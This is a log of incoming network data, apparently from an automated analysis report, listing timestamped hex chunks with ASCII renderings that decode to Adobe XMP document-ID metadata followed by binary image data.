2022-07-20 17:09:02 UTC	8891	IN	Data Raw: 36 64 34 35 61 2d 35 66 62 30 2d 34 31 63 32 2d 61 61 32 34 2d 34 33 39 36 63 33 36 65 63 39 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 31 41 39 37 46 35 37 42 32 32 30 36 38 31 31 39 39 34 43 39 43 30 33 46 39 43 34 32 31 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 31 41 46 30 46 37 45 38 42 30 33 31 31 45 35 39 32 37 42 46 37 35 30 44 35 46 31 30 43 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 31 43 33 36 32 38 42 37 41 33 35 36 38 31 31 39 35 46 45 43 37 38 43 46 45 44 39 38 43 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 31 44 37 32 34 44 36 32 39 32 30 36 38 31 31 39 39 34 43 43 36 Data Ascii: 6d45a-5fb0-41c2-aa24-4396c36ec9c0</rdf:li> <rdf:li>xmp.did:91A97F57B2206811994C9C03F9C42137</rdf:li> <rdf:li>xmp.did:91AF0F7E8B0311E5927BF750D5F10C14</rdf:li> <rdf:li>xmp.did:91C3628B7A35681195FEC78CFED98CCD</rdf:li> <rdf:li>xmp.did:91D724D629206811994CC6
2022-07-20 17:09:02 UTC	8907	IN	Data Raw: 6d 70 2e 64 69 64 3a 41 30 35 34 36 37 45 38 34 35 32 30 36 38 31 31 39 41 38 32 46 45 32 41 43 42 43 35 37 34 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 30 36 36 38 46 34 31 39 37 35 31 31 31 45 34 38 39 39 30 46 42 34 34 38 33 43 44 35 33 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 30 39 45 43 39 32 37 33 39 32 35 36 38 31 31 38 30 38 33 43 44 30 41 42 33 37 37 31 45 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 30 41 44 45 35 46 44 35 45 42 31 45 30 31 31 39 46 41 31 43 35 45 43 31 44 31 30 41 31 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 30 42 33 30 38 43 39 33 38 32 30 36 38 31 31 Data Ascii: mp.did:A05467E8452068119A82FE2ACBC57436</rdf:li> <rdf:li>xmp.did:A0668F41975111E48990FB4483CD5314</rdf:li> <rdf:li>xmp.did:A09EC927392568118083CD0AB3771E4F</rdf:li> <rdf:li>xmp.did:A0ADE5FD5EB1E0119FA1C5EC1D10A162</rdf:li> <rdf:li>xmp.did:A0B308C938206811
2022-07-20 17:09:02 UTC	8911	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 34 44 45 36 45 44 36 42 33 32 36 36 38 31 31 38 32 32 41 38 42 42 30 38 45 41 38 45 35 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 34 45 34 45 43 45 45 31 31 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 34 45 46 42 38 44 39 42 32 32 31 36 38 31 31 38 41 36 44 45 33 32 44 43 45 37 38 35 34 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 35 34 44 30 38 43 35 32 36 32 30 36 38 31 31 38 30 38 33 44 38 36 43 41 31 35 46 41 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 35 35 34 36 37 Data Ascii: <rdf:li>xmp.did:A4DE6ED6B3266811822A8BB08EA8E5F6</rdf:li> <rdf:li>xmp.did:A4E4ECEE11206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:A4EFB8D9B22168118A6DE32DCE785405</rdf:li> <rdf:li>xmp.did:A54D08C5262068118083D86CA15FAF3B</rdf:li> <rdf:li>xmp.did:A55467
2022-07-20 17:09:02 UTC	8927	IN	Data Raw: 30 36 38 31 31 41 34 38 32 46 37 45 33 32 32 39 42 31 31 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 36 35 33 36 31 43 30 43 36 44 45 30 31 31 41 33 33 37 45 41 36 32 42 35 41 39 45 33 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 38 32 46 31 35 43 31 34 32 30 36 38 31 31 38 44 42 42 42 38 38 39 35 37 39 31 35 34 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 42 35 42 32 43 37 30 37 32 30 36 38 31 31 38 30 38 33 43 44 46 44 46 39 42 33 35 31 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 42 39 39 38 46 34 32 41 32 30 36 38 31 31 38 38 43 36 42 41 39 39 44 37 46 42 46 37 33 31 3c 2f Data Ascii: 06811A482F7E3229B110C</rdf:li> <rdf:li>xmp.did:BC65361C0C6DE011A337EA62B5A9E39B</rdf:li> <rdf:li>xmp.did:BC82F15C142068118DBBB8895791540D</rdf:li> <rdf:li>xmp.did:BCB5B2C7072068118083CDFDF9B3510D</rdf:li> <rdf:li>xmp.did:BCB998F42A20681188C6BA99D7FBF731</
2022-07-20 17:09:02 UTC	8943	IN	Data Raw: 38 33 46 39 44 33 44 31 30 32 44 37 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 41 39 43 41 36 41 30 38 32 30 36 38 31 31 39 32 42 30 44 41 30 39 43 38 42 34 39 34 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 42 44 38 46 42 31 31 36 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 43 37 35 34 30 41 32 44 36 32 31 31 45 31 39 37 44 30 45 46 36 39 30 36 30 30 34 35 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 43 39 38 46 46 32 30 30 32 31 36 38 31 31 38 46 36 32 41 30 46 44 44 38 46 41 33 37 46 32 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: 83F9D3D102D7DD</rdf:li> <rdf:li>xmp.did:D2A9CA6A0820681192B0DA09C8B4945E</rdf:li> <rdf:li>xmp.did:D2BD8FB116206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:D2C7540A2D6211E197D0EF69060045EF</rdf:li> <rdf:li>xmp.did:D2C98FF2002168118F62A0FDD8FA37F2</rdf:li>
2022-07-20 17:09:02 UTC	8951	IN	Data Raw: 42 34 46 33 39 37 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 42 32 33 46 43 34 37 31 35 32 30 36 38 31 31 39 39 34 43 45 38 33 42 42 42 43 38 36 44 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 42 33 36 36 41 31 45 44 43 43 41 45 34 31 31 39 31 46 31 41 39 45 32 31 44 33 34 45 39 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 42 41 31 34 46 44 33 31 38 37 31 45 32 31 31 41 44 43 35 38 36 42 30 30 38 36 42 46 33 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 42 42 43 38 34 34 33 43 39 32 30 36 38 31 31 38 41 36 44 39 39 30 33 46 36 36 44 38 35 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: B4F397D6</rdf:li> <rdf:li>xmp.did:DB23FC4715206811994CE83BBBC86D74</rdf:li> <rdf:li>xmp.did:DB366A1EDCCAE41191F1A9E21D34E9EE</rdf:li> <rdf:li>xmp.did:DBA14FD31871E211ADC586B0086BF303</rdf:li> <rdf:li>xmp.did:DBBC8443C92068118A6D9903F66D8554</rdf:li> <rdf:
2022-07-20 17:09:02 UTC	8967	IN	Data Raw: 70 2e 64 69 64 3a 46 34 35 42 46 33 41 39 46 35 44 45 45 30 31 31 41 37 46 35 41 46 31 45 44 30 39 32 42 46 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 34 36 32 37 45 35 41 45 30 46 45 45 30 31 31 42 41 30 31 38 31 30 35 42 43 34 45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 34 37 39 44 38 31 39 37 35 31 30 45 31 31 31 39 41 38 42 46 35 45 43 43 35 38 35 37 43 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 34 39 31 32 32 34 38 43 43 32 37 36 38 31 31 38 43 31 34 41 46 39 44 32 37 33 35 41 34 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 34 41 37 33 41 38 44 30 30 37 32 45 36 31 31 41 Data Ascii: p.did:F45BF3A9F5DEE011A7F5AF1ED092BFC4</rdf:li> <rdf:li>xmp.did:F4627E5AE0FEE011BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:F479D8197510E1119A8BF5ECC5857CAA</rdf:li> <rdf:li>xmp.did:F4912248CC2768118C14AF9D2735A483</rdf:li> <rdf:li>xmp.did:F4A73A8D0072E611A
2022-07-20 17:09:02 UTC	8983	IN	Data Raw: 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 42 32 42 39 30 42 32 37 46 39 45 30 31 31 39 34 36 41 38 36 37 35 32 32 30 31 37 35 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 42 43 32 31 31 39 41 30 32 34 36 38 31 31 41 39 36 31 43 45 42 33 30 36 35 44 42 34 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 43 45 35 36 44 37 42 34 32 30 36 38 31 31 38 43 31 34 45 43 36 39 39 31 34 43 38 35 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 44 32 44 43 39 46 46 32 32 38 36 38 31 31 42 44 33 35 43 42 43 43 35 32 45 34 44 32 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: 0D048EA72C</rdf:li> <rdf:li>xmp.did:FAB2B90B27F9E011946A86752201758E</rdf:li> <rdf:li>xmp.did:FABC2119A0246811A961CEB3065DB495</rdf:li> <rdf:li>xmp.did:FACE56D7B42068118C14EC69914C8563</rdf:li> <rdf:li>xmp.did:FAD2DC9FF2286811BD35CBCC52E4D27A</rdf:li> <rd
2022-07-20 17:09:02 UTC	8991	IN	Data Raw: 30 32 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 41 33 30 44 44 44 35 45 44 41 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 44 32 46 42 46 44 44 41 32 30 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 35 41 35 41 35 33 45 37 36 46 42 42 46 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 39 34 44 42 37 37 36 34 41 42 36 38 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 Data Ascii: 0224</rdf:li> <rdf:li>xmp.did:FF7F11740720681192B0A30DDD5EDA64</rdf:li> <rdf:li>xmp.did:FF7F11740720681192B0D2FBFDDA206A</rdf:li> <rdf:li>xmp.did:FF7F117407206811A5A5A53E76FBBF7E</rdf:li> <rdf:li>xmp.did:FF7F117407206811A94DB7764AB68F8D</rdf:li> <rdf:li>x
2022-07-20 17:09:02 UTC	9007	IN	Data Raw: 2d 34 33 62 34 2d 38 33 34 66 2d 65 61 38 65 65 38 66 65 36 38 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 61 31 38 36 64 35 66 2d 65 36 38 62 2d 34 62 37 61 2d 61 30 66 65 2d 32 36 37 32 33 33 37 33 34 30 65 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 61 32 30 64 31 33 34 2d 64 35 65 65 2d 34 39 31 65 2d 61 36 37 62 2d 35 30 64 32 64 38 62 39 38 64 64 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 61 39 38 36 62 39 61 2d 38 63 32 61 2d 32 38 34 33 2d 39 39 34 38 2d 61 66 39 33 34 66 34 33 36 36 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 62 31 37 62 61 65 32 2d 30 34 62 32 2d 36 31 34 39 2d 61 Data Ascii: -43b4-834f-ea8ee8fe6869</rdf:li> <rdf:li>xmp.did:ca186d5f-e68b-4b7a-a0fe-2672337340e7</rdf:li> <rdf:li>xmp.did:ca20d134-d5ee-491e-a67b-50d2d8b98dd2</rdf:li> <rdf:li>xmp.did:ca986b9a-8c2a-2843-9948-af934f436670</rdf:li> <rdf:li>xmp.did:cb17bae2-04b2-6149-a
2022-07-20 17:09:02 UTC	9023	IN	Data Raw: 62 38 65 35 36 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 35 66 62 38 36 65 30 2d 39 38 35 61 2d 34 34 38 64 2d 38 65 66 65 2d 30 34 35 33 66 34 35 35 32 38 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 31 36 35 36 36 36 2d 31 65 64 62 2d 34 39 36 37 2d 38 36 37 37 2d 65 65 66 30 30 66 39 64 33 36 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 31 63 65 35 39 39 2d 31 33 66 34 2d 34 35 38 65 2d 62 37 66 37 2d 63 30 34 35 30 34 66 64 31 63 34 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 63 34 61 61 62 64 2d 31 39 35 61 2d 66 61 34 39 2d 62 37 34 32 2d 63 30 38 64 33 31 38 37 34 66 37 62 Data Ascii: b8e562b</rdf:li> <rdf:li>xmp.did:f5fb86e0-985a-448d-8efe-0453f4552849</rdf:li> <rdf:li>xmp.did:f6165666-1edb-4967-8677-eef00f9d3601</rdf:li> <rdf:li>xmp.did:f61ce599-13f4-458e-b7f7-c04504fd1c4d</rdf:li> <rdf:li>xmp.did:f6c4aabd-195a-fa49-b742-c08d31874f7b
2022-07-20 17:09:02 UTC	9030	IN	Data Raw: 1c 14 1c 64 08 10 22 23 20 70 20 40 82 83 81 02 07 03 a1 c0 e8 40 e0 40 e0 40 e0 70 20 a3 38 88 ce a2 04 08 10 20 74 20 e0 41 40 81 c0 81 02 04 0e 04 0e 04 64 0e 04 08 10 20 40 e0 44 71 90 20 70 51 91 1c 08 1c 6f 81 c1 40 e8 19 38 15 6a 07 02 04 08 1c 0e 87 43 a9 d8 3a 17 4e c1 03 a1 11 02 04 14 1f 42 04 0e 84 08 10 20 40 81 d1 74 38 1d 08 3e 84 17 07 c0 e8 a0 70 70 38 10 50 70 50 7d 14 1f 05 03 83 e0 74 50 70 5c 1c 14 1c 64 08 10 20 a0 f8 10 20 40 82 83 81 05 07 02 04 08 1c 08 1c 08 1c 14 1f 05 c6 70 20 75 1c 08 c8 1d 47 59 11 02 04 08 11 90 22 38 c8 88 10 38 c8 1c 0e 07 03 a1 02 04 0e 04 08 1c 08 d4 44 67 11 02 33 81 02 a1 c0 81 d0 32 ae 0a ac e0 b8 1c 08 10 20 74 3a 16 0e 85 93 ba 2c 16 1f 42 22 04 08 1d 14 1c 08 1d 08 2e 8f 81 02 c1 02 0b a8 81 d0 8c Data Ascii: d"# p @@@@p 8 t A@d @Dq pQo@8jC:NB @t8>pp8PpP}tPp\d @p uGY"88Dg32 t:,B".
2022-07-20 17:09:02 UTC	9046	IN	Data Raw: 56 66 54 ec 56 87 2d 79 6f 43 9d 60 12 5f 41 e4 ea f1 5d 9c cc 8c 68 92 d7 b9 f4 98 ec b4 8b 99 d2 db e5 5e 1f a2 cf 5c fa 94 e9 b3 9e 8d 4a 6e 1f 9c e8 c7 6b 97 66 d5 71 2f 3b d5 cd 93 d3 9b 39 e9 b7 96 f9 d5 98 09 05 aa 34 93 40 d3 20 24 d2 ba 31 42 74 9d 63 19 9a 68 97 30 2a d0 50 61 8d a2 27 ba f1 7f 2b 81 1a ba 3d 1f 1e 87 84 45 51 ba 34 9d 97 4f aa 46 8c bd 91 a1 b8 ab 13 a6 12 d1 70 2a d9 e5 50 06 01 a5 74 c4 05 4d 6b 92 4b 13 29 4a 88 bc d1 07 07 a1 9d e3 6d 93 28 0b 9b ab a3 46 55 59 13 d2 1a 9a 1b 50 54 67 65 f4 23 4c 4d 2a c2 ca 32 b5 6f 3b 20 d3 7d 63 d9 68 56 86 e5 ac f6 88 7f 0b c9 e9 e6 4b 49 0b 4e e7 61 16 94 68 57 59 fd 13 e9 e7 5c 17 9e 15 c7 ac f3 7a 7d 67 2e fe 4f af 04 3a 67 07 7c 1d 1b 31 6b 54 b3 95 25 b4 22 e7 53 2d 34 b1 b4 ba b3 Data Ascii: VfTV-yoC`_A]h^\Jnkfq/;94@ $1Btch0Pa'+=EQ4OFpPtMkK)Jm(FUYPTge#LM*2o; }chVKINahWY\z}g.O:g\|1kT%"S-4
2022-07-20 17:09:02 UTC	9062	IN	Data Raw: e3 7a 70 f3 7b 73 b2 ad 71 16 6c a9 d9 1c 68 93 a2 d7 8b 83 92 da 93 ac 2c b1 5c d6 90 a6 ec a8 24 9a ca 49 46 80 e0 20 b9 3a 0d 9d d6 63 83 88 0d 71 06 61 e6 88 02 86 bb 1e 43 34 3f 9e a3 cd af ac 0e a6 a9 96 92 57 9a 50 d8 9d 2c 99 13 4f 5c 88 0c 4d 30 ca c5 5a 56 2e 91 99 a6 4e aa d2 9b 65 55 13 d3 c7 4c 7d 72 34 d2 3a c5 e5 dd 8e e7 5a d3 6f e1 be 0f 46 10 5a 99 69 8b 79 9d 1a d3 a4 96 ad ce 8c 53 0a ac ab 0b 5c ae 56 a6 56 d0 24 d7 26 b1 b7 e7 56 a5 a4 f7 67 4c 7d 20 15 19 97 9e 6a 51 1c 60 58 44 10 7a b3 74 a9 00 9b 8b 20 12 9b 99 d6 75 4e 3e 99 6a cd 1a 2e 82 2c 5c a4 ec 68 1d 25 89 a7 71 d3 3b 5c ab 4b 43 3d 24 33 09 4b 93 45 29 49 a7 05 49 61 11 2c fd 53 ef 6d 38 b7 47 f3 0e be 33 8d 47 14 02 cd b5 95 92 ae 8e 28 e5 92 5c 8a ad 14 14 96 49 a1 52 Data Ascii: zp{sqlh,\$IF :cqaC4?WP,O\M0ZV.NeUL}r4:ZoFZiyS\VV$&VgL} jQ`XDzt uN>j.,\h%q;\KC=$3KE)IIa,Sm8G3G(\IR
2022-07-20 17:09:02 UTC	9070	IN	Data Raw: 51 28 d6 aa 15 4b 35 3b a5 66 b5 99 16 04 bd 32 d1 9f 2f a7 5f d2 e6 f9 e1 00 6b d6 f1 f4 79 de cc 79 2f 4a 6d ea 80 dc 96 2b 23 6c 53 9a bb 44 8b f4 9c bd 1a 31 7e 4f 7c 55 a9 f7 53 d1 ea b6 e5 f3 58 f4 37 79 49 59 7d 59 e6 06 53 90 e3 a0 2a 7d 0e 92 ad ac 99 7e 78 85 85 a1 17 bf cf d0 ea d1 ca 75 ac d8 cb 6d 95 58 f4 b5 2f 3c 59 ad 08 d0 98 6d e5 36 e5 c7 ec e2 03 00 e3 d3 43 d8 c1 fa ed 2f 16 af c1 c9 bc b4 b1 38 fa 42 84 3a ae 43 23 41 d3 3d 48 d0 59 e9 79 af 39 bf 39 05 9b 71 ac c4 26 aa 49 e6 f5 f1 d5 8b 54 66 25 45 13 d8 8d 08 93 33 7e 63 a3 99 d9 b6 b3 b1 33 5e 74 8c f3 fa 60 c4 b5 6a 78 82 52 cc d7 3e 97 d1 d0 43 46 86 7a b2 ac 74 80 e2 82 b2 7b 0b 69 cf d2 a0 97 d3 35 2b 26 b5 e7 b1 2a d4 14 69 66 10 77 4f d1 65 b6 b6 1b 67 dc 2b d1 92 82 6a 59 Data Ascii: Q(K5;f2/_kyy/Jm+#lSD1~O\|USX7yIY}YS}~xumX/<Ym6C/8B:C#A=HYy99q&ITf%E3~c3^t`jxR>CFzt{i5+&ifwOeg+jY
2022-07-20 17:09:02 UTC	9086	IN	Data Raw: 51 09 c7 80 61 10 b6 23 1c 04 24 f9 65 30 20 58 a2 0f 22 18 46 67 c4 13 10 08 21 f2 4c 30 7c e3 91 c4 03 20 7a 3f f0 ff 00 20 91 09 95 f8 10 98 6d e6 7c 62 5d 60 c5 4d c8 78 27 c1 38 8a de 73 33 0c cc c4 03 11 a1 48 22 fb f1 ca 16 cc 24 b4 0b 1b d4 03 30 89 f3 31 2a f6 4c 30 09 8c 43 ec fc 4e 47 26 60 98 4f ab 2c 3c 85 99 9f f0 ab 88 16 3c 61 3e dc 4a be 58 98 0c cc 0b e4 fb f2 66 33 00 c4 c4 33 3f 87 c4 c9 f1 8f 73 8c 2b e0 78 26 66 66 72 80 c2 3c 62 08 d3 38 81 a7 cc 1e 0c cc 63 98 04 31 b3 14 e6 11 99 9c 4f fc 60 f5 09 86 cf 00 63 c1 38 80 e6 7c 4f 9f 00 43 31 e0 c2 71 3d 40 d3 38 81 c6 5d 39 44 58 de a2 08 61 7c 4b 41 79 4d 00 1c e2 72 f6 de a3 7b 64 5e 20 78 c7 8c 78 ce 3c 88 c6 27 83 08 c9 3e 01 c7 82 c0 40 73 33 89 ca 29 e5 08 f7 98 46 63 90 00 f5 Data Ascii: Qa#$e0 X"Fg!L0\| z? m\|b]`Mx'8s3H"$01*L0CNG&`O,<<a>JXf33?s+x&ffr<b8c1O`c8\|OC1q=@8]9DXa\|KAyMr{d^ xx<'>@s3)Fc
2022-07-20 17:09:02 UTC	9102	IN	Data Raw: 0b 60 a8 c1 cf 8c 88 c4 08 1b 94 00 92 ca 56 16 11 58 10 c2 7f c6 06 10 83 e0 18 44 61 ec e0 c5 c8 39 cc c6 67 b5 3c b1 01 88 dc a3 ae 42 93 17 e5 a0 8a 73 3e 7c 63 f1 c7 e2 07 91 f8 1f 18 87 c1 4c c0 21 f0 06 3c 18 20 33 39 81 40 98 fc 33 1b c6 3c 13 15 71 31 08 33 8c c4 51 98 54 c0 b8 f0 0c f5 31 88 a2 1f 3c 60 10 79 26 13 88 0e 60 80 43 ea 16 81 bd 92 20 19 82 33 19 ca 2a e6 70 39 4b 66 21 87 10 60 c6 52 61 c4 74 cc 45 e2 11 b3 00 81 5b 9f a0 70 23 5a 16 3d c1 40 bf 97 85 f8 63 1c 64 3e 27 30 07 f6 08 3f d8 c4 66 26 1b 4c 47 cc 57 c4 e5 c8 30 cc 0b 88 49 10 34 23 10 be 22 db 88 58 c0 d1 bf 94 55 33 e0 97 06 29 26 67 13 33 fe 41 c4 65 c4 f4 0b 18 bf ca 01 07 80 7f 12 66 7f 11 e3 1e fc 91 0f e0 20 1f 80 f1 98 a2 71 02 01 88 3f 23 ea 62 16 84 c3 ec f1 98 Data Ascii: `VXDa9g<Bs>\|cL!< 39@3<q13QT1<`y&`C 3*p9Kf!`RatE[p#Z=@cd>'0?f&LGW0I4#"XU3)&g3Aef q?#b
2022-07-20 17:09:02 UTC	9110	IN	Data Raw: 58 37 a9 5c 56 0d 08 c0 a7 33 1e c9 f7 e3 11 89 01 57 02 04 cc 64 99 f7 f3 1d 3d 03 e8 18 06 7c 7c cc 45 f0 44 03 11 a6 3c 19 ca 59 ec 57 ea 63 26 0f 50 af 21 f1 14 e6 13 32 23 7b 9f f1 92 08 07 2b f2 44 10 fb 9c bd 9f 85 f6 23 0c ce 0c 08 68 af ec 92 60 20 f8 03 07 11 8c 44 c1 63 00 81 a7 29 ca 62 05 84 66 11 e0 1c 17 89 f2 a0 c2 3c 32 e4 56 48 87 c6 3c 63 27 8e 60 10 c1 00 e3 e0 fa 86 d2 ec 13 d9 24 85 3e ad 24 8a 10 88 73 0a 06 3f 56 67 00 67 20 21 b0 02 57 30 fa 8a 65 97 09 75 9c 05 67 02 dd 83 9b 13 98 5a 0b 94 ab 8c 68 66 61 39 0b fc bc 31 cc 61 2d 0d 2e ad b8 6b ea 32 d6 fc ab 4d 4b ac b0 83 90 95 70 65 41 95 01 41 39 82 9c c0 a1 06 7c b7 c8 27 c1 8d ea 72 cc 51 98 83 11 da 66 02 62 db 93 89 8c 45 69 9f 06 7c 40 73 e0 89 61 20 07 c4 5b 04 39 c2 cf Data Ascii: X7\V3Wd=\|\|ED<YWc&P!2#{+D#h` Dc)bf<2VH<c'`$>$s?Vgg !W0eugZhfa91a-.k2MKpeAA9\|'rQfbEi\|@sa [9
2022-07-20 17:09:02 UTC	9126	IN	Data Raw: 66 4b 13 1b dc 41 2c 30 67 0a 3c 71 18 27 10 3f ae 51 5b 94 e1 08 84 4c 62 1f 53 fe 15 fd 03 99 88 5b 13 05 a3 2e 06 7c 19 98 4c 22 72 87 dc cc f9 98 98 f4 26 60 86 7c 42 62 c5 5c 46 58 e3 8c 27 d0 c9 8c 7c 09 8c 00 20 19 84 e6 67 10 b1 30 90 26 7c 03 01 8c 73 00 f0 0c 1e a1 f1 8f 22 66 13 80 1a 1c 63 38 99 80 c0 71 39 f8 cc 3e e1 10 c3 9f 02 13 14 4c 62 62 66 13 9f 3f 3e 0f 81 18 18 b0 78 c4 c7 11 8c c2 66 7c 05 9f 10 1e 51 54 98 0e 43 37 a6 30 b4 68 0c 23 c6 73 0c 51 88 eb ca 15 c4 48 a3 20 8e 21 8e 48 c2 8c fb 23 30 18 48 99 8c c6 22 e2 06 84 66 28 02 15 f6 0e 23 42 60 f7 09 c7 8e 31 b1 85 9f 10 0c c2 dc 67 08 c3 04 4c cc 78 c6 66 26 61 f0 4f 9c e6 08 63 7b 8a b0 4e 58 8a 79 46 18 85 4c f6 21 f7 30 62 a8 33 e2 17 10 3e 41 30 42 31 0f a8 21 c4 22 63 f1 Data Ascii: fKA,0g<q'?Q[LbS[.\|L"r&`\|Bb\FX'\| g0&\|s"fc8q9>Lbbf?>xf\|QTC70h#sQH !H#0H"f(#B`1gLxf&aOc{NXyFL!0b3>A0B1!"c
